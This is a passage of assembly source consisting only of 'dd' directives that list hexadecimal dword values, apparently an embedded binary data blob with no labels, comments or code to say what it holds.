3274F0BDh, 122CEF72h, 6D004DA3h, 55A1651Fh, 808C0050h dd 0FAF25C13h, 190FE337h, 42B1F1EAh, 0C03AB561h, 3FC56AF9h dd 0DE802547h, 7382FC69h, 133E56A6h, 843280D8h, 0C9E5C11Ah dd 4607002Ah, 7B40D911h, 2F00525Ah, 0BF7A253Bh, 0CCE5D89h dd 2CCD458Ah, 6D397419h, 0A0119E3Fh, 4FDD383h, 0CAC1B86Bh dd 4A7500D1h, 5EE91E53h, 0FF0064C8h, 0D27CD5C7h, 51A682h dd 57A2E335h, 0F55F5C33h, 816AAB00h, 40C2751Fh, 0BD7B069Eh dd 0BEFB7A98h, 0C85DF330h, 6317A1h, 1D29AF64h, 0E334C9B1h dd 732F0E1Eh, 5270B600h, 0BD01E5h, 5A8A234Fh, 143D6968h dd 71DD6618h, 730F5E31h, 0A79B0A31h, 80C45995h, 0B290A89Ch dd 0DD00F0F6h, 42040BE0h, 600ABF05h, 0C0458137h, 6200EF68h dd 357173FAh, 51CCDF74h, 0E1D4C0FDh, 220802C2h, 76763EBh dd 45B07CC0h, 99E8BC0Eh, 0E5149220h, 0AC17005Eh, 42E497F8h dd 86760085h, 7F6C058Ch, 260FFD9Eh, 3819917Ch, 7597B0h dd 23DDA001h, 64252745h, 0E4DB7B00h, 2A2E867Fh, 0DCA0059h dd 8E6030ABh, 0A10436E8h, 22B9716Bh, 53804C95h, 160C8F4h dd 9297D86Ch, 0D01B585Bh, 8E030D6Ah, 0EAAE802Fh, 6F29F025h dd 686300FBh, 1FA362D2h, 0FC00DB38h, 7DD8920Dh, 7A3B4E73h dd 68190EFAh, 8B80C8D7h, 0C2C45BB9h, 910ABE02h, 0E1B37FECh dd 808FA3C3h, 0FF600B01h, 355B9A63h, 20FB3417h, 57C40Fh dd 16F9BA94h, 2FE7B59h, 903A694Bh, 9C49B7A0h, 62063025h dd 5F44D500h, 7E857FBFh, 13A7DCBh, 83CC7BAFh, 205E0733h dd 6100742Ch, 71481FFCh, 75B5854h, 78ED0C50h, 0A055A786h dd 7F49DD93h, 2135E000h, 8D3A6BA6h, 0A29600B5h, 8F8CE778h dd 8107DFE6h, 0D47B57BFh, 0EEAFF180h, 4DDE1D29h, 0E4ADC04Ah dd 6818D736h, 80F68824h, 9D23C100h, 0EE43A909h, 4BE30196h dd 0D0B28963h, 1670D00Bh, 6A231B01h, 7EE595D5h, 0EAA01E0h dd 0DDEED4F6h, 798A5220h, 0DE075521h, 0FF7AF213h, 91DD600h dd 0FB5309A1h, 0A8A02534h, 80EF2284h, 0BF11CC60h, 1FF7E47Eh dd 80CFF925h, 0FB3BAFA7h, 843AE571h, 198D802Ah, 52ED5FE3h dd 96660047h, 8A5C1120h, 7B12C4A1h, 0A100BFF2h, 7F09D4D8h dd 937DE9h, 0DB4588B4h, 15BBD6B9h, 23F25DE2h, 0C006BC00h dd 9241E355h, 32100DCh, 0D470E0FAh, 0A000A390h, 28144E83h dd 791E7140h, 0CD5D1F0Dh, 1F8FC093h, 75B98764h, 7F84CB00h dd 0A6985EA2h, 459D3E4Fh, 36F52A80h, 0BE5518D2h, 0E1168F17h dd 0A36E2C40h, 1DFE57h, 5678014Eh, 9B8F6221h, 37A75C00h dd 8967355Ah, 1B611E54h, 96A406D7h, 647F5025h, 0D6914F00h dd 0E77FB5AEh, 3C700083h, 0F57A4E7Dh, 82009924h, 0ADE49456h dd 38A727h, 8E39C8A6h, 9BC62AB2h, 6531B516h, 9BA7407h dd 0C5B9CD20h, 0C04A40h, 894A3A74h, 3F19BB35h, 6F083B20h dd 496470ECh, 7D00C8BCh, 0FC6E4518h, 0E6301CE2h, 0BDF4082Dh dd 37F00099h, 0E87E49Eh, 59585828h, 0CC860007h, 0B0214308h dd 0EC31F055h, 5AE3053Fh, 0C5002C0h, 0E5703A2Ch, 6E205200h dd 0EF165E98h, 88B6003Ch, 82AA87D7h, 0BD1E32B2h, 19403EE1h dd 9A0B9E80h, 2DE70371h, 89578715h, 75E05100h, 0BA3990C0h dd 747C0F19h, 87808E7Ah, 0E95CAC6Ch, 0BF266600h, 0AEB9409Fh dd 0DC030077h, 0AB433956h, 8100DEB7h, 94388C9Ah, 322FC75h dd 0FF199B4h, 80FD8FFEh, 0D10B3EAh, 0BA005598h, 30D2A074h dd 1D8B5657h, 0ACCB189Ch, 7B5B00C5h, 88E5865Eh, 8CD27200h dd 0C7F2EABh, 23A20071h, 39A3FE44h, 0DE397E9Eh, 22098788h dd 0B5A36C4Dh, 10E7F091h, 3B4C1762h, 0E5C84EE2h, 9E70ED83h dd 0F7931100h, 41BA4459h, 29119B9h, 803E0848h, 586C3321h dd 0A086D86h, 607A9F73h, 34040824h, 15593A60h, 0BAF9219Ch dd 7F9588h, 0C9586ED0h, 323E89A3h, 1BEA8965h, 14702337h dd 3D93B807h, 8B1007Ch, 914203FEh, 9CF01E8Eh, 0BDF05700h dd 0A559F6Eh, 0B7FCA8B2h, 7069009Bh, 0D2440BB9h, 64034F90h dd 4E7B3B6h, 1FA6889Eh, 8BECA9D7h, 0DE4A78E4h, 0B013DC1h dd 0F22DC979h, 0DAE5F81Bh, 31601C74h, 7CF32231h, 155A1BDEh dd 2FD8A936h, 0BB1CEC05h, 3B003244h, 8F5A25B3h, 0EBFA0EF0h dd 1AE76A4Ah, 98C6ACBh, 0E402765Fh, 0FD0073B9h, 19CA3E1h dd 9A28CE80h, 0D1295E88h, 0DB2187BEh, 0CD3A3E0h, 0C17C89AAh dd 140BDC0h, 0DD33EDB3h, 4A8A39ADh, 0C719C864h, 6CF152DBh dd 11134D60h, 0AF0ACE1Ch, 887810DBh, 2DED02h, 0EE2063B2h dd 0FD55D118h, 3524277Ch, 0F500C090h, 5DF8E8E4h, 3A09082h dd 8788A028h, 0A022224Eh, 23FE0031h, 0F27C2AA6h, 7D248315h dd 0B831D033h, 870C4BACh, 2A557A04h, 0CE327192h, 79EE5E20h dd 0F4570EFCh, 38810115h, 704E9FB6h, 9E0C0DCCh, 0C16DB24Dh dd 725E07D8h, 590BCD11h, 0BA598002h, 0FF0E7D01h, 20BB0C20h dd 21070DBFh, 0B1E86C09h, 682054B2h, 3E3A64h, 9BB43BA9h dd 0B57B9686h, 0BD03D290h, 19F4AC2Ah, 1AAC3C3h, 0C5997320h dd 4E57FBCCh, 0C8660820h, 701B623Fh, 0FAB02448h, 85D04000h dd 192C68DDh, 0E2030061h, 36BC4FEDh, 4613F2A2h, 0D60016D4h dd 7CF0B732h, 1DC93EBh, 0BAAE585Dh, 6F19CAF1h, 52AD8850h dd 0F0793F58h, 0F4A95180h, 0A44A225Fh, 16BEE500h, 6637D7C4h dd 55971327h, 230C3A9Ah, 5BCE000Ah, 6A607718h, 0DD1CFD02h dd 4899E502h, 0A21DD0h, 291FE493h, 87409C85h, 0FF8F8001h dd 73773BA5h, 2088DAD3h dd 72CD4C5Dh, 819C1C0h, 516276Eh, 3611ADBDh, 850C007Ch dd 72988A50h, 0D3B40650h, 0BA04E830h, 18F7D629h, 31E4659Dh dd 94632A68h, 0A0D43391h, 0F8FE8369h, 79DFFDh, 96E8289Ch dd 44B056BAh, 7B283EE4h, 53008C2Bh, 39A21B7Ah, 60AFE749h dd 87B1B8E2h, 0A5135E70h, 3031F61Fh, 0EE0D4BFEh, 222D66E0h dd 0D0702048h, 53C0010h, 242EBD79h, 78AC00F6h, 0B6C97B34h dd 0E428024Fh, 0B208D0F1h, 89BBB6Ch, 0F8606FF2h, 72BAAF59h dd 42928529h, 55B60000h, 0B3448Dh, 0CE15E5F8h, 60DB4D73h dd 908252h, 441C6BB4h, 30DABD92h, 98D13899h, 2900230Ch dd 0C893C4F9h, 14CADE0h, 8B6762C6h, 0CCD09540h, 36395A3Ch dd 9894A866h, 41AD4B30h, 0AAC470h, 0B29CDBDFh, 13944809h dd 0D6DC8D00h, 6BFE9FC2h, 0CE0413Bh, 602B5B8h, 0DEBEAD6h dd 0CAD0A0AFh, 58CCDBh, 0E5D2693Ah, 0A1B28BEEh, 33508876h dd 8FA187C8h, 0FA3BFD34h, 41F0CCA4h, 910431FFh, 0AC3E1423h dd 9A64E00Ch, 1602BD61h, 833BD6DEh, 83F4E33Eh, 9C5CA13Fh dd 0F4209Ch, 18F2C924h, 671287B3h, 5C207CD9h, 792780h dd 0C31EF4E6h, 0B674705Ch, 40056F18h, 2A62241h, 4656A5F7h dd 4862DBh, 0F20F6564h, 25916898h, 484167D2h, 3A5C24B0h dd 15CB31DEh, 782B4200h, 12F41FCh, 5F8F2D0Eh, 64BBCC64h dd 29023B24h, 0B5B49EEFh, 0E9CC6892h, 84A92E37h, 0F664035Ch dd 5BD8F120h, 0BE4C0F1Eh, 6551008Ch, 189A0CC2h, 7BED1717h dd 0FB8C0039h, 4FE6800Eh, 40A22930h, 0FE8C85B3h, 752BE4B0h dd 8199000Dh, 0A59CF189h, 6D2E4FA3h, 830080ADh, 96DD1BA0h dd 76313C5Eh, 8892A53Eh, 71E832EBh, 0C962D86Fh, 5CCE1066h dd 4F20488Dh, 0C0D87453h, 0B4B95170h, 0A8C3B03h, 69F02h dd 6DD380B9h, 31D6075Eh, 0BA18D1F6h, 13E0D0F3h, 15814054h dd 492EA68h, 5434B6DCh, 9865EB3Fh, 38089151h, 0B3922111h dd 48AC004h, 2DABC3EEh, 1C86F7A2h, 0D133A039h, 4548105Fh dd 18802018h, 98EFD949h, 0B9197B04h, 9299ACEDh, 0DA5009B2h dd 0E2091885h, 693537A4h, 0CA65784Ch, 9B1CFD19h, 101F714Fh dd 502BB6ADh, 52F91022h, 89A7760h, 35650410h, 489B20Ah dd 0FB1944B6h, 994FCC9h, 0F7C21CD0h, 0B48D1DF3h, 0BA0C0808h dd 3B1A14A0h, 8A1D4CA1h, 24141E20h, 500A104Dh, 31FBB600h dd 0CD5CEF6Eh, 895FE3Fh, 0B9A37394h, 0BB09F6B0h, 9E223C20h dd 1D10828Fh, 0A0267C04h, 0FE8AC02Fh, 8640C467h, 0B0D26588h dd 5C390271h, 0A1383B74h, 200048C2h, 16E8E219h, 1F3067F6h dd 0ED0E19A5h, 843F4C83h, 22DC9E2Ah, 6C98B80Ah, 0C3493060h dd 4CAA1FE8h, 0CC01A08Eh, 359E8AE0h, 649C2438h, 1CB3C91Fh dd 1EB420E7h, 3B309CB4h, 0DE98839Eh, 1F0B6985h, 488DE233h dd 31F0E023h, 54FD03D3h, 62735B1Dh, 65800800h, 8C93F6CBh dd 259E9EBDh, 40928804h, 0E4F980DFh, 104E8DEh, 387BF98h dd 0B3B00DEDh, 7548C1h, 7659C51h, 0E98187FBh, 0BE7E600h dd 2E833827h, 29A600AEh, 85C7BDEDh, 14004D81h, 0BFC4669Eh dd 291CEF68h, 0C44BABh, 0BAD323D6h, 9A38561Fh, 0F1A29886h dd 1D299E8h, 249D41AAh, 87B10802h, 0F3C8AF89h, 6DA6014Fh dd 9C209ED0h, 32AB03E2h, 0F8EA096Fh, 16E1281Eh, 9C571E06h dd 9C837CC1h, 778D0C80h, 0F9000238h, 5E799DA7h, 366808A0h dd 0E169B71Eh, 76086360h, 503E2C74h, 31DD09Fh, 5BA379CDh dd 39D1C32Dh, 0E0420F0h, 7AF510A0h, 0EEA6A21Dh, 0FA1BD58h dd 0B0ED5002h, 0FBACA18Fh, 263100FAh, 0C152A3Dh, 34984502h dd 0F8E55003h, 0A53CA80Ah, 45641707h, 88B881BAh, 18602957h dd 4CF1410Ah, 0D29B0AEAh, 50B8AC8Eh, 0E9861C42h, 0D69C4610h dd 830E24EAh, 60A723EDh, 0C2D2F704h, 2E9975C4h, 4EEAF7Ch dd 81BCD6EBh, 0A26D20h, 14298708h, 0A4B05E50h, 271EF00h dd 31422D24h, 0C58EEA17h, 105EC0Fh, 0B6C2F232h, 23BFD8BEh dd 2A646E00h, 13A34CFEh, 0A669A77h, 7ED9E961h, 3240246Ah dd 66FA8F90h, 0C4905FC9h, 0A35076F5h, 0E9C0B8B8h, 820127FDh dd 501A5A67h, 0AA0CD84Ch, 9A081D94h, 46918CA5h, 0C81E5004h dd 0C31129Bh, 8187F2A0h, 0C9A8F9F3h, 0F8DE1802h, 4071304Eh dd 22C59D4h, 99A07B0h, 24C849Eh, 48481F05h, 7D3D1B60h dd 706429C7h, 0EF0B27F0h, 699C0034h, 7C611C4Ch, 39648F1Dh dd 1540B940h, 0FCA8AAC5h, 5E0D1C12h, 118E7823h, 6726B29h dd 331BAAFDh, 4C1D1211h, 9E880E7Ch, 2B505895h, 90B16426h dd 2D03603Eh, 0F04F50F7h, 9CC00E30h, 0FD26B226h, 200080AFh dd 6850F877h, 4A7201h, 716CCBFBh, 2CBF0C93h, 9E0B7A00h dd 8F46DB39h, 14CE0172h, 0C89D3BCh, 1B7DEC3Fh, 9E00BF78h dd 821A7B47h, 0B8D2EAB6h, 0B93C0116h, 766DFD04h, 853980D4h dd 882FA187h, 2300F1F8h, 6007B82h, 10759DF6h, 0F85CED46h dd 6F7800A0h, 6A39163Fh, 3B00FC80h, 0BC159F19h, 0F0FEC60Bh dd 5311C667h, 5A7860A6h, 588BA337h, 9B3412C0h, 0D5612836h dd 0F6680740h, 8172C787h, 80712BFFh, 0E3C3978h, 3082923Eh dd 6DC17DA1h, 0F5F82B20h, 818E70Fh, 11C0006Ch, 5717578h dd 0CB4B94B1h, 8E980836h, 0ED6FBE80h, 388541F7h, 6004E97Bh dd 80D4E3C1h, 1B8289A7h, 486A6128h, 0C8167000h, 5D070B1Eh dd 0B86B0605h, 2175EE6Ch, 35B07102h, 82C6F4AFh, 0A91977B4h dd 4D6680B8h, 70DF1Ch, 0CD7CC492h, 0EE0FC858h, 95853A18h dd 7A21529h, 0A57A71E8h, 6D81E096h, 0A00791BDh, 5541337Ch dd 0BFD3E0C0h, 14FC1202h, 5417029Bh, 0D486B8C9h, 0DA1D491Dh dd 0B040C08Ch, 7D747126h, 51B0037h, 5FBD6061h, 89061EE3h dd 0F61DA27Eh, 71BC0178h, 0A1AC58C4h, 2E10C877h, 3E3145F8h dd 826BE1D4h, 8ED32880h, 0DCF75755h, 590F4D1Fh, 4AC43C40h dd 34A429h, 0B1C06AA3h, 109715ABh, 0EB14EF00h, 36962A91h dd 10F46028h, 0A65E5699h, 0E75ABF1Ch, 40D6768Eh, 1305C03Ah dd 0AD70D3h, 97F853Dh, 9CC57B23h, 2F4FEA01h, 1822EAFh dd 36A639ECh, 5850F1C4h, 0D960488h, 3D1E3Eh, 7798A620h dd 39D6391Dh, 350FADF0h, 17209F0Ah, 3C09DD96h, 3D27E006h dd 42285979h, 82C51172h, 74046121h, 9E02769Ch, 2302AC86h dd 0A8522B5h, 236DFF22h, 5111F19Ah, 8908BF53h, 1E082B2Dh dd 79469870h, 0D3001711h, 56DE3BC7h, 24B76Bh, 72FF1066h dd 9AD269DBh, 225A5900h, 0CDBA0570h, 0C7813907h, 402A7700h dd 33186472h, 7F531300h, 5814EE5Ch, 0F47A0015h, 0CE4C26C4h dd 7316AA3Fh, 7E007980h, 20D63604h, 2F5A0037h, 95604B12h dd 1B0065C0h, 525FA3C1h, 1FE1214Dh, 0DF8A153Ah, 196FCB6Eh dd 2B24F300h, 4B00CAC6h, 0DB8BC985h, 0EE277F96h, 5A0F0001h dd 9B134253h, 3A006FCCh, 69A1A07Dh, 7F83552Ch, 0D7CD0015h dd 0C79CE8B1h, 0FB00E2EFh, 9338EC5Eh, 5DC590h, 30FA4F71h dd 4B5243DBh, 7B703C00h, 0D159658Fh, 9AF62E6Eh, 0E23A025Ah dd 1FC041FCh, 160001DDh, 56393DE8h, 1D7D0B9h, 5D28E9BEh dd 0C4C4F122h, 50248A76h, 5907ABFFh, 0A60CBF7h, 4BAE4Ch dd 0FE9F58E8h, 0E7D75412h, 0C9736600h, 0DC69516Dh, 91793FBFh dd 0F196C200h, 340CD8E5h, 9C8D7A00h, 0A1A7BE40h, 8E8500FEh dd 584FC1A4h, 0EE030DD0h, 0E95AB01Dh, 6A35C89Ch, 132F0EFh dd 1BE3D937h, 0F4465157h dd 2A48A78Dh, 0F7E40364h, 0E85D5EEBh, 2CEEB0h, 6C1F7147h dd 0AB3864A1h, 0A5368C00h, 3C1EC302h, 0CB060022h, 0DAB1370Eh dd 7D00B4A9h, 0F99F2584h, 0F6C805FEh, 7A41C8Dh, 0A29740CAh dd 0A3506142h, 0A0F28224h, 0A10EFB17h, 59CEC085h, 2CD6FFAFh dd 14A93Eh, 0C30D9A17h, 6400ABE8h, 0E0E78143h, 762CFA8h dd 0EB0F10CDh, 0E4D30080h, 4A008E32h, 3891BFFEh, 0F56CA40h dd 558B5722h, 0DB60534Eh, 0C7F9D860h, 16017170h, 0C254A9F5h dd 0F6E81489h, 682B00D5h, 0E4730C44h, 0B007CAAh, 636C8BB3h dd 77A85893h, 0F6F3003Eh, 0F2CD5968h, 0FC009407h, 2273C1EDh dd 1703DF9h, 0EEB6FA4Dh, 0FC384E4Ah, 251D7D9Bh, 2C808913h dd 0A061C9DFh, 8FAB07A8h, 50C3B377h, 0CDBD3D6Ch, 0F5F3491Ch dd 0CF677E8Eh, 8D2F020Ch, 6942E029h, 0EBAD009Ch, 13B15015h dd 88E4F494h, 0A270D100h, 4D3092B2h, 0ED6EE14h, 0CB21FEA9h dd 0E6C0228Eh, 0ABDE68F5h, 240705B8h, 4F1E1967h, 4D2263F0h dd 6277126Fh, 91430008h, 505CA13Eh, 61B82600h, 0BB147F75h dd 1D0C005Dh, 3590187Ah, 0EC045325h, 78BC4B7Eh, 5E8CCBC0h dd 7A440004h, 66BFC759h, 0FEEC9B87h, 98DDC800h, 1675E350h dd 0CC2E0172h, 85B334A5h, 0B3C8473Ah, 38A8B1D1h, 0DB032863h dd 0E2F036DFh, 4DAEB0DEh, 0C25F0098h, 85C40BBFh, 0C00FB19h dd 7BBE4C1Ah, 715795Bh, 64589F6Eh, 0E31EC022h, 2D00FBCFh dd 0F64A1F8Dh, 20486Ch, 7146D84Bh, 0EDB764F1h, 62373600h dd 59FF1340h, 0B22D0020h, 83F6A89Dh, 93FA6BC4h, 6F456300h dd 0B65CA3F4h, 0E297001Bh, 0B54F48F2h, 2939654Ah, 0F033A891h dd 804C993Dh, 0AFF2180Ch, 5CFB41h, 3B50A228h, 9E32AC02h dd 25E0D400h, 5E376FC1h, 0FCF90FBCh, 90C026C2h, 7A38E4B6h dd 0E18FED00h, 45C80402h, 40D10F8Bh, 910551h, 545D5578h dd 0F2AD13h, 0AB04E074h, 0F501778Eh, 863DB100h, 147D4B22h dd 0A680008Dh, 9528F8F7h, 0AC0024BEh, 78DA44E7h, 0E1D618Ah dd 41A30F5Fh, 3813E903h, 97CD00CDh, 36F73A46h, 0CC05FE7Eh dd 406AD692h, 0AFDEE900h, 98A9A5B2h, 0D13C3D50h, 938C7400h dd 0C32255EFh, 2D00CCF8h, 3EDA9C7Bh, 60EA717Ch, 981F30A4h dd 7470D5C4h, 63899B00h, 0E34A4DABh, 74B248E0h, 0BECF5C00h dd 75B57A59h, 8B76D400h, 0A52D3C23h, 0C73E000Fh, 0E0FF5A31h dd 5D00977Eh, 4C27765Eh, 70143B6h, 77DD7BE9h, 755A80AAh dd 4D00A84Eh, 8BC0F6B9h, 0E21978h, 1326FC49h, 6DD03A97h dd 0F858871Fh, 3F295480h, 90C15031h, 5C60E740h, 16021C07h dd 2C19404Fh, 3B8DDB2Eh, 1D6F5D00h, 0DF73EA8Fh, 0BE7718D6h dd 0B0B2E840h, 0EB1F7503h, 988FCDCFh, 1B43F1Eh, 8EFCEDB6h dd 604373AFh, 0B017942h, 1944AD7Ah, 25D8DFA5h, 5EFE014Bh dd 8DA010C9h, 4FF6C0BCh, 0B0C0777Dh, 47FDDD9Ch, 458B03CDh dd 76ADF17h, 0C9A435E0h, 65417860h, 0E6F7E6C6h, 0AAA200EEh dd 3352EAF9h, 4A3E220Ch, 0DA8A801Dh, 98667DD2h, 884200CAh dd 34EC90D8h, 8700CDDDh, 0DF45367Fh, 0C68265h, 98B780AAh dd 56A046F7h, 4E167D04h, 4C1B86Ch, 0A4203D70h, 95AD00F8h dd 0D02E0FE6h, 0FF00161Eh, 91ABFA8h, 28AF29Fh, 497302A6h dd 9460EC7Eh, 47004A78h, 639493EEh, 0F98DCAh, 2EFCB489h dd 50C3C48Ah, 8EB839h, 29DD83EFh, 0FAD7D66h, 166D4ABAh dd 0C01405C0h, 5B004C96h, 20F737BDh, 0A0F0E7C5h, 8830D69Ch dd 5C993554h, 2C4E1E00h, 7A856Fh, 0D02BBFA3h, 6E65209h dd 5D809B09h, 0C140A04Eh, 0FC979Eh, 4435D43Dh, 832F248Bh dd 29C4EC1Dh, 0E2DC7FC0h, 69DA3Fh, 243BBDC1h, 3C1F8A27h dd 0D9C7AD00h, 0AAE59FBBh, 3A6A0072h, 97999C90h, 0B1001BA3h dd 0CA2180DFh, 6E2036h, 0B6131217h, 29FEC1F5h, 92F097h dd 4D6353BEh, 0DBA487Ah, 0EC3C5400h, 2E6DC297h, 0DEE70087h dd 0FDAB64BDh, 0CFFEF8F2h, 0EFAC6100h, 92F605FCh, 27490078h dd 7A0612D5h, 40009ED8h, 0BDA26E67h, 48084807h, 0D10A11BEh dd 98BBB7h, 0DA6EC568h, 0ED0FB553h, 403AA73Eh, 0E0878F56h dd 71150078h, 4B3316F6h, 0AE1E808Bh, 381C21CDh, 96BE53C0h dd 0DC3CFBh, 51CE9732h, 8E81F71Fh, 0B8BC400h, 93A126B6h dd 0E0500A18h, 3D00C71h, 0FA5CF6B3h, 1E08095h, 242946AAh dd 9804D44Ch, 20C08A59h, 7D8F2Eh, 0CB826B23h, 7609C678h dd 93B14000h, 140394F1h, 638A0E33h, 52800C4Ah, 5C9F1073h dd 0EC215E07h, 91D71B4Bh, 0E01241D0h, 59B0FFh, 9907A001h dd 63CB4A3h, 0E6980C00h, 0D35A7440h, 4370022h, 0CD5D92F7h dd 0D8005747h, 3CC7FDCFh, 5ECBA1h, 155BAA19h, 53B39364h dd 10F59B00h, 0B5941E80h, 4BBB03F6h, 7C675024h, 0B2C9B6E0h dd 65EE8400h, 0F0AE8D5Ah, 3787544h, 22420608h, 0BB88C2E2h dd 1B0083C9h, 82B14533h, 7A9B3594h, 0D7A33C01h, 2E477C80h dd 36C7FF6Fh, 7966A100h, 0BB11FB10h, 63AD3A97h, 0C990B700h dd 0F33E455Fh, 0B81CEF00h, 0D58ACA30h, 0C720047h, 75692409h dd 380015C9h, 92B428DBh, 785125h, 543F67E4h, 882C4DD3h dd 0E5552900h, 1EB3DDF8h, 0CEBD00B2h, 74BF7F23h, 0CA7385A2h dd 0C43139h, 8D06FE34h, 0A7E260h, 79B582EBh, 3DBBB87Ah dd 6C626403h, 0C87E2F97h, 5F78EAh, 4D466632h, 4E05D6E4h dd 5B35D800h, 42A7C426h, 3CEC76AAh, 86800311h, 0DF7227CAh dd 0DC005DB9h, 1A78CE43h, 753506E8h, 0D0BA0066h, 0A72D54B5h dd 0DC1EC259h, 8700054Ah, 69B1BFD2h, 25FE0Eh, 56B390A9h dd 0C095FDBDh, 0A4008BF2h, 0E4F73FC3h, 2D66AA6h, 0E35BDDEAh dd 0F4C30A8Ch, 61316F90h, 0D27CCA00h, 4E17B96Bh, 450B1676h dd 976A0E39h, 9132DD20h, 5300E483h, 0A69D6214h, 705B3CCh dd 7566D428h, 0C6060DFh, 5D0176FBh, 0CECAE39Fh, 0E8EBB85Bh dd 3EBBC6D7h, 1C003A12h, 294D2035h, 1F1C59DCh, 4B40EE0Dh dd 8DC46164h, 4C7D1EF5h, 0B142C0E4h, 0ED5D7363h, 0A3CB0E00h dd 0BA85B829h, 0FECA4ACh, 5F22725Bh, 9D09FEE0h, 2D00CDA2h dd 9F745249h, 3F0B87h, 0CA703A2Ah, 0F65D3784h, 3023100Ch dd 0BD021E7h, 3EA6C621h, 0E9B8A100h, 0AA00F41Eh, 0FC9A4142h dd 23F059h, 8B202DB6h, 4544DFC7h, 0E83B9200h, 4042FE56h dd 6AF10FD8h, 70E0E67Fh, 5AAC16C8h, 2AC13C00h, 5EF3A3DEh dd 127BCAh, 734933CDh, 0AF04324Dh, 1AA1FC00h, 9CEC71E6h dd 0CF370094h, 6D973A7Bh, 8CA0772Bh, 2F000CCCh, 0D482719Ah dd 18AB85h, 0D3030EF4h, 816DF2B1h, 0D98E9300h, 46E985Dh dd 9D1407D1h, 97FFBE76h, 0E5AB60A3h, 7200E018h, 0A40FDB02h dd 985BCFBBh, 66C0069h, 0A2D5A048h, 1D00AF14h, 12C2EB2Ah dd 71E08539h, 0FC0838CAh, 0D10AB100h, 45A1CD1Bh, 8203DE00h dd 0A7EF6BF9h, 0E0CE0F57h, 0B260D3DCh, 1B2848E4h, 42B01A00h dd 0F4225925h, 0BFCD1EBBh, 183FA53h, 1195827Ah, 0DCA67C00h dd 0CC8D97E3h, 8CF0094h, 580E4155h, 0FD50FEB0h, 1C3D25B0h dd 0D7F680A5h, 1D4061BFh, 0A484241Eh, 2E190018h, 63BCA3ACh dd 9DED4B01h, 1586D37Eh, 6CCA6FDh, 5309008Bh, 0E9C3C808h dd 1E245F51h, 4213F4B9h, 0BD207A00h, 1E1440EDh, 0E430758Dh dd 0D37A2784h, 8B24481Fh, 768A60Eh, 3F079E7h, 1F9934EFh dd 95DC3Eh, 260855CDh, 31C96438h, 52D400F8h, 78FE5199h dd 0A120033Fh, 5FE2BC83h dd 736DDBA8h, 5DB34400h, 0B2577986h, 2A080147h, 23220A5Eh dd 16B82004h, 4A416700h, 8106658Bh, 1B950087h, 22A6AB30h dd 0FD007660h, 77BDD5B8h, 2C8C3Ch, 0CFBC2EEh, 38C5B012h dd 9DA2DE00h, 73265824h, 3B987C70h, 238064F2h, 2A8431FAh dd 0F8907646h, 0D4062C1Dh, 980B864h, 0FEC2DA65h, 54BF007Ch dd 0E277537h, 0CC0F1EF2h, 0C3391ABEh, 0B0CD9E3Ch, 715517h dd 0C793C3EFh, 0B9CABB0Fh, 156BBC00h, 0A33B9635h, 0A2410014h dd 28A54D8Ah, 314B607h, 26B87397h, 0E80FAC74h, 1F904033h dd 0D381CFh, 75917CB9h, 7BD535E1h, 0DFA03090h, 4EF22207h dd 3BE39A00h, 8B03C1ACh, 0C944160Ah, 0C7ECA2h, 1F685224h dd 923FCC0h, 6C284F10h, 0B5690F00h, 0C100F3E6h, 0ABD739BAh dd 4F6B3Eh, 2751A337h, 0DD729534h, 39435F1Fh, 0EB486C00h dd 82ADE2h, 0B08EEDB3h, 49068AA7h, 0DE0E1226h, 966FB601h dd 5EE0EE7Ch, 0D5C5008Ch, 13CCBBD0h, 32008471h, 0C375FE0h dd 477AC6h, 570E927Fh, 0D021E512h, 4F14F107h, 6D006F1Fh dd 0A4A672h, 39D880A8h, 0E403A363h, 2CC019DEh, 0E2E624BBh dd 0BFBE025Ch, 0BA964549h, 6E09E960h, 693B030Ch, 950311Ch dd 0AE407519h, 0C785CC80h, 800E761Fh, 40E1E8ACh, 0F560B2A4h dd 4F080036h, 0FC064566h, 4200C339h, 1930A920h, 2CB302h dd 64C89248h, 0AAD51F38h, 8DF26800h, 84F83A32h, 0DDDC39CAh dd 211836BEh, 49051086h, 6D20A5F0h, 3D7B85h, 0B82443DDh dd 0B14F69B2h, 0EDAE8E03h, 0E3F232A6h, 0D93FF0C6h, 0E4D0019h dd 6E2F041Dh, 0AFE037ADh, 0F5A99500h, 0AE028D50h, 682D6057h dd 96067E5Bh, 7BB96522h, 11F500D5h, 88926EACh, 8305B6A2h dd 91E924F1h, 0C103844Eh, 0C3F5DC8Dh, 0C40F0F1h, 0E22D1C7Bh dd 65500026h, 9B01D80Eh, 0C1009D84h, 182BAA7Ch, 0B033D485h dd 0E6A600C0h, 723A3FEDh, 0E700255Ah, 0C11A14CEh, 0EBBDDBh dd 0C8FF0859h, 3E8A5D32h, 9E64D907h, 0F6A08F2Ah, 0EC554E47h dd 0CBE29Fh, 2C011132h, 945AD3A7h, 0AF4CA018h, 1B8FB8E0h dd 0F13D2634h, 0B804A842h, 0F5DB3095h, 36BA4310h, 7A4BC8C1h dd 0D720AFC5h, 2A1B00EAh, 5B4395B0h, 3C19CEF4h, 66293DF8h dd 0F6440208h, 1D5C44A7h, 0EBB2C244h, 1182D211h, 0F7115D9Bh dd 20BE12C4h, 238CACD4h, 8038C838h, 78D68FEh, 70B1D7h dd 596BB2C3h, 8BA17B41h, 33E49F03h, 91DD4FCEh, 5D205020h dd 7BC7FDEh, 10124D49h, 0C55EE009h, 0B5005832h, 1842A244h dd 3AF469h, 9FDAAABAh, 56FC797Ah, 0FAFE48FCh, 595CB91Ch dd 0A1CEBD40h, 33B15Dh, 0DB94E367h, 9C787DFEh, 6C86BA07h dd 107C3050h, 0B1F700FAh, 0EDF948FBh, 5454EECFh, 2400DEB4h dd 0BBA38BC9h, 0F932FDh, 0BFB52615h, 0B3551913h, 0FF017979h dd 83812163h, 0E0FCCDA9h, 90420091h, 0CF24CCFBh, 0D09AB4A8h dd 9CD73C00h, 4B23D539h, 4215006Ch, 75E261E6h, 409FA1Dh dd 801EDB40h, 0D40E4486h, 6BAC00C2h, 13350954h, 1D00BB72h dd 0B3683B71h, 9888D28Ch, 73D0039h, 9847892Fh, 0AE001929h dd 0CE9796E5h, 0D53066h, 1A49F8FCh, 0C35FDFF5h, 0E47CDC00h dd 0EE4259E1h, 0BE218h, 0F8E277C2h, 0BBFA5E55h, 475BB714h dd 8D3F90h, 22CDC0E6h, 4CB61324h, 0FF00B58Eh, 9023BB5Ah dd 0F671874Fh, 631C1FF6h, 725E22BFh, 0D50EA440h, 90B6F018h dd 7E890BF4h, 5E87992Fh, 6D8BC022h, 1300104Bh, 2DDE8F67h dd 0E0B82509h, 0B661016Fh, 0DBF2BF17h, 